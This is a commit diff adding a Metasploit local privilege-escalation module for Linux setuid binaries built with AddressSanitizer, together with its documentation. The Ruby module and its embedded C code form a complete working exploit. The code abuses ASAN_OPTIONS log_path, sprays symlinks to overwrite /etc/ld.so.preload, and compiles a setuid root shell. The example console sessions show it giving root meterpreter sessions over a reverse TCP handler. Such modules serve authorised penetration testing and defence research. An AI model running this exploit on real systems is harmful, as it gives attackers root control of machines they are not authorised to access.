Land #11243, Add ASan SUID Privesc
commit
2ae6142de7
|
@ -0,0 +1,166 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module attempts to gain root privileges on Linux systems using
|
||||||
|
setuid executables compiled with AddressSanitizer (ASan).
|
||||||
|
|
||||||
|
ASan configuration related environment variables are permitted when
|
||||||
|
executing setuid executables built with libasan. The `log_path` option
|
||||||
|
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||||||
|
clobbering of arbitrary files, with the privileges of the setuid user.
|
||||||
|
|
||||||
|
This module uploads a shared object and sprays symlinks to overwrite
|
||||||
|
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) (ASan)
|
||||||
|
is a fast memory error detector. It consists of a compiler instrumentation
|
||||||
|
module and a run-time library.
|
||||||
|
|
||||||
|
An example executable can be compiled with ASan as follows:
|
||||||
|
|
||||||
|
```
|
||||||
|
gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
|
||||||
|
sudo mv asan.elf /usr/bin/asan.elf
|
||||||
|
sudo chown root:root /usr/bin/asan.elf
|
||||||
|
sudo chmod u+s /usr/bin/asan.elf
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get a session
|
||||||
|
3. `use use exploit/linux/local/asan_suid_executable_priv_esc`
|
||||||
|
4. `set SESSION [SESSION]`
|
||||||
|
5. `set SUID_EXECUTABLE /path/to/suid/compiled/with/asan`
|
||||||
|
6. `check`
|
||||||
|
7. `run`
|
||||||
|
8. You should get a new *root* session
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**SESSION**
|
||||||
|
|
||||||
|
Which session to use, which can be viewed with `sessions`
|
||||||
|
|
||||||
|
**SUID_EXECUTABLE**
|
||||||
|
|
||||||
|
Path to a SUID executable compiled with ASan. (default: ``)
|
||||||
|
|
||||||
|
**SPRAY_SIZE**
|
||||||
|
|
||||||
|
Number of PID symlinks to create. (default: `50`)
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A writable directory file system path. (default: `/tmp`)
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Command Shell Session (Linux Mint 19)
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||||||
|
suid_executable => /usr/bin/a.out
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||||
|
[+] /usr/bin/a.out is setuid
|
||||||
|
[+] /usr/bin/a.out was compiled with ASan
|
||||||
|
[+] gcc is installed
|
||||||
|
[*] Writing '/tmp/.pCriI' (291 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
|
||||||
|
[*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
|
||||||
|
[*] Max line length is 65537
|
||||||
|
[*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
|
||||||
|
[*] Launching exploit...
|
||||||
|
[+] Success! /tmp/.JtSfQ1 is set-uid root!
|
||||||
|
-rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
|
||||||
|
[*] Executing payload...
|
||||||
|
[*] Transmitting intermediate stager...(106 bytes)
|
||||||
|
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||||||
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
|
||||||
|
[+] Deleted /tmp/.JtSfQ1.c
|
||||||
|
[+] Deleted /tmp/.TCLmzU.so.c
|
||||||
|
[+] Deleted /tmp/.TCLmzU.so
|
||||||
|
[+] Deleted /tmp/.V7OEFt.c
|
||||||
|
[+] Deleted /tmp/.V7OEFt
|
||||||
|
[+] Deleted /tmp/.LpfTKJwR
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 172.16.191.211
|
||||||
|
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||||||
|
Architecture : x64
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
||||||
|
### Meterpreter Session (Linux Mint 19)
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||||||
|
suid_executable => /usr/bin/a.out
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||||
|
[+] /usr/bin/a.out is setuid
|
||||||
|
[+] /usr/bin/a.out was compiled with ASan
|
||||||
|
[+] gcc is installed
|
||||||
|
[*] Writing '/tmp/.XBKiFa' (291 bytes) ...
|
||||||
|
[*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
|
||||||
|
[*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
|
||||||
|
[*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
|
||||||
|
[*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
|
||||||
|
[*] Launching exploit...
|
||||||
|
[+] Success! /tmp/.ooMwKnEXt is set-uid root!
|
||||||
|
-rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
|
||||||
|
[*] Executing payload...
|
||||||
|
[*] Transmitting intermediate stager...(106 bytes)
|
||||||
|
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||||||
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
|
||||||
|
[+] Deleted /tmp/.XBKiFa
|
||||||
|
[+] Deleted /tmp/.ooMwKnEXt.c
|
||||||
|
[+] Deleted /tmp/.cWZL3A.so.c
|
||||||
|
[+] Deleted /tmp/.cWZL3A.so
|
||||||
|
[+] Deleted /tmp/.78iKLJOvX.c
|
||||||
|
[+] Deleted /tmp/.78iKLJOvX
|
||||||
|
[+] Deleted /tmp/.WkXgm2agJ8
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 172.16.191.211
|
||||||
|
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||||||
|
Architecture : x64
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,292 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::Priv
|
||||||
|
include Msf::Post::Linux::System
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'AddressSanitizer (ASan) SUID Executable Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to gain root privileges on Linux systems using
|
||||||
|
setuid executables compiled with AddressSanitizer (ASan).
|
||||||
|
|
||||||
|
ASan configuration related environment variables are permitted when
|
||||||
|
executing setuid executables built with libasan. The `log_path` option
|
||||||
|
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||||||
|
clobbering of arbitrary files, with the privileges of the setuid user.
|
||||||
|
|
||||||
|
This module uploads a shared object and sprays symlinks to overwrite
|
||||||
|
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Szabolcs Nagy', # Discovery and PoC
|
||||||
|
'infodox', # unsanitary.sh Exploit
|
||||||
|
'bcoles' # Metasploit
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2016-02-17',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' =>
|
||||||
|
[
|
||||||
|
ARCH_X86,
|
||||||
|
ARCH_X64,
|
||||||
|
ARCH_ARMLE,
|
||||||
|
ARCH_AARCH64,
|
||||||
|
ARCH_PPC,
|
||||||
|
ARCH_MIPSLE,
|
||||||
|
ARCH_MIPSBE
|
||||||
|
],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'Targets' => [['Auto', {}]],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'AppendExit' => true,
|
||||||
|
'PrependSetresuid' => true,
|
||||||
|
'PrependSetresgid' => true,
|
||||||
|
'PrependFork' => true
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://seclists.org/oss-sec/2016/q1/363'],
|
||||||
|
['URL', 'https://seclists.org/oss-sec/2016/q1/379'],
|
||||||
|
['URL', 'https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e'],
|
||||||
|
['URL', 'https://github.com/bcoles/local-exploits/tree/master/asan-suid-root']
|
||||||
|
],
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'AKA' => ['unsanitary.sh']
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options [
|
||||||
|
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable compiled with ASan', '']),
|
||||||
|
OptInt.new('SPRAY_SIZE', [true, 'Number of PID symlinks to create', 50])
|
||||||
|
]
|
||||||
|
register_advanced_options [
|
||||||
|
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||||
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir']
|
||||||
|
end
|
||||||
|
|
||||||
|
def suid_exe_path
|
||||||
|
datastore['SUID_EXECUTABLE']
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload(path, data)
|
||||||
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||||
|
rm_f path
|
||||||
|
write_file path, data
|
||||||
|
register_file_for_cleanup path
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmodx(path, data)
|
||||||
|
upload path, data
|
||||||
|
chmod path
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_compile(path, data, gcc_args='')
|
||||||
|
upload "#{path}.c", data
|
||||||
|
|
||||||
|
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||||
|
if session.type.eql? 'shell'
|
||||||
|
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||||
|
end
|
||||||
|
|
||||||
|
unless gcc_args.to_s.blank?
|
||||||
|
gcc_cmd << " #{gcc_args}"
|
||||||
|
end
|
||||||
|
|
||||||
|
output = cmd_exec gcc_cmd
|
||||||
|
|
||||||
|
unless output.blank?
|
||||||
|
print_error 'Compiling failed:'
|
||||||
|
print_line output
|
||||||
|
end
|
||||||
|
|
||||||
|
register_file_for_cleanup path
|
||||||
|
chmod path
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
unless setuid? suid_exe_path
|
||||||
|
vprint_error "#{suid_exe_path} is not setuid"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "#{suid_exe_path} is setuid"
|
||||||
|
|
||||||
|
# Check if the executable was compiled with ASan
|
||||||
|
#
|
||||||
|
# If the setuid executable is readable, and `ldd` is installed and in $PATH,
|
||||||
|
# we can detect ASan via linked libraries. (`objdump` could also be used).
|
||||||
|
#
|
||||||
|
# Otherwise, we can try to detect ASan via the help output with the `help=1` option.
|
||||||
|
# This approach works regardless of whether the setuid executable is readable,
|
||||||
|
# with the obvious disadvantage that it requires invoking the executable.
|
||||||
|
if cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include?('true') && command_exists?('ldd')
|
||||||
|
unless cmd_exec("ldd #{suid_exe_path}").to_s.include? 'libasan.so'
|
||||||
|
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
else
|
||||||
|
unless cmd_exec("ASAN_OPTIONS=help=1 #{suid_exe_path}").include? 'AddressSanitizer'
|
||||||
|
vprint_error "#{suid_exe_path} was not compiled with ASan"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
vprint_good "#{suid_exe_path} was compiled with ASan"
|
||||||
|
|
||||||
|
unless has_gcc?
|
||||||
|
print_error 'gcc is not installed. Compiling will fail.'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good 'gcc is installed'
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == CheckCode::Appears
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||||
|
end
|
||||||
|
print_warning 'Target does not appear to be vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
if is_root?
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable? base_dir
|
||||||
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||||
|
end
|
||||||
|
|
||||||
|
unless writable? pwd.to_s.strip
|
||||||
|
fail_with Failure::BadConfig, "#{pwd.to_s.strip} working directory is not writable"
|
||||||
|
end
|
||||||
|
|
||||||
|
if nosuid? base_dir
|
||||||
|
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
|
||||||
|
end
|
||||||
|
|
||||||
|
@log_prefix = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
|
||||||
|
payload_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
payload_path = "#{base_dir}/#{payload_name}"
|
||||||
|
upload_and_chmodx payload_path, generate_payload_exe
|
||||||
|
|
||||||
|
rootshell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
@rootshell_path = "#{base_dir}/#{rootshell_name}"
|
||||||
|
rootshell = <<-EOF
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
execl("/bin/bash", "bash", NULL);
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
upload_and_compile @rootshell_path, rootshell, '-Wall'
|
||||||
|
|
||||||
|
lib_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
lib_path = "#{base_dir}/#{lib_name}.so"
|
||||||
|
lib = <<-EOF
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
void init(void) __attribute__((constructor));
|
||||||
|
void __attribute__((constructor)) init() {
|
||||||
|
if (setuid(0) || setgid(0))
|
||||||
|
_exit(1);
|
||||||
|
unlink("/etc/ld.so.preload");
|
||||||
|
chown("#{@rootshell_path}", 0, 0);
|
||||||
|
chmod("#{@rootshell_path}", 04755);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
upload_and_compile lib_path, lib, '-fPIC -shared -ldl -Wall'
|
||||||
|
|
||||||
|
spray_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
spray_path = "#{base_dir}/#{spray_name}"
|
||||||
|
spray = <<-EOF
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
pid_t pid = getpid();
|
||||||
|
char buf[64];
|
||||||
|
for (int i=0; i<=#{datastore['SPRAY_SIZE']}; i++) {
|
||||||
|
snprintf(buf, sizeof(buf), "#{@log_prefix}.%ld", (long)pid+i);
|
||||||
|
symlink("/etc/ld.so.preload", buf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
upload_and_compile spray_path, spray, '-Wall'
|
||||||
|
|
||||||
|
exp_name = ".#{rand_text_alphanumeric 5..10}"
|
||||||
|
exp_path = "#{base_dir}/#{exp_name}"
|
||||||
|
exp = <<-EOF
|
||||||
|
#!/bin/sh
|
||||||
|
#{spray_path}
|
||||||
|
ASAN_OPTIONS="disable_coredump=1 suppressions='/#{@log_prefix}
|
||||||
|
#{lib_path}
|
||||||
|
' log_path=./#{@log_prefix} verbosity=0" "#{suid_exe_path}" >/dev/null 2>&1
|
||||||
|
ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "#{suid_exe_path}" >/dev/null 2>&1
|
||||||
|
EOF
|
||||||
|
upload_and_chmodx exp_path, exp
|
||||||
|
|
||||||
|
print_status 'Launching exploit...'
|
||||||
|
output = cmd_exec exp_path
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
|
||||||
|
unless setuid? @rootshell_path
|
||||||
|
fail_with Failure::Unknown, "Failed to set-uid root #{@rootshell_path}"
|
||||||
|
end
|
||||||
|
print_good "Success! #{@rootshell_path} is set-uid root!"
|
||||||
|
vprint_line cmd_exec "ls -la #{@rootshell_path}"
|
||||||
|
|
||||||
|
print_status 'Executing payload...'
|
||||||
|
cmd_exec "echo #{payload_path} | #{@rootshell_path} & echo "
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
# Safety check to ensure we don't delete everything in the working directory
|
||||||
|
if @log_prefix.to_s.strip.eql? ''
|
||||||
|
vprint_warning "#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}"
|
||||||
|
else
|
||||||
|
cmd_exec "rm #{pwd}/#{@log_prefix}*"
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
# Remove rootshell executable
|
||||||
|
if session.type.eql? 'meterpreter'
|
||||||
|
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||||
|
session.fs.file.rm @rootshell_path
|
||||||
|
else
|
||||||
|
session.shell_command_token "rm -f '#{@rootshell_path}'"
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue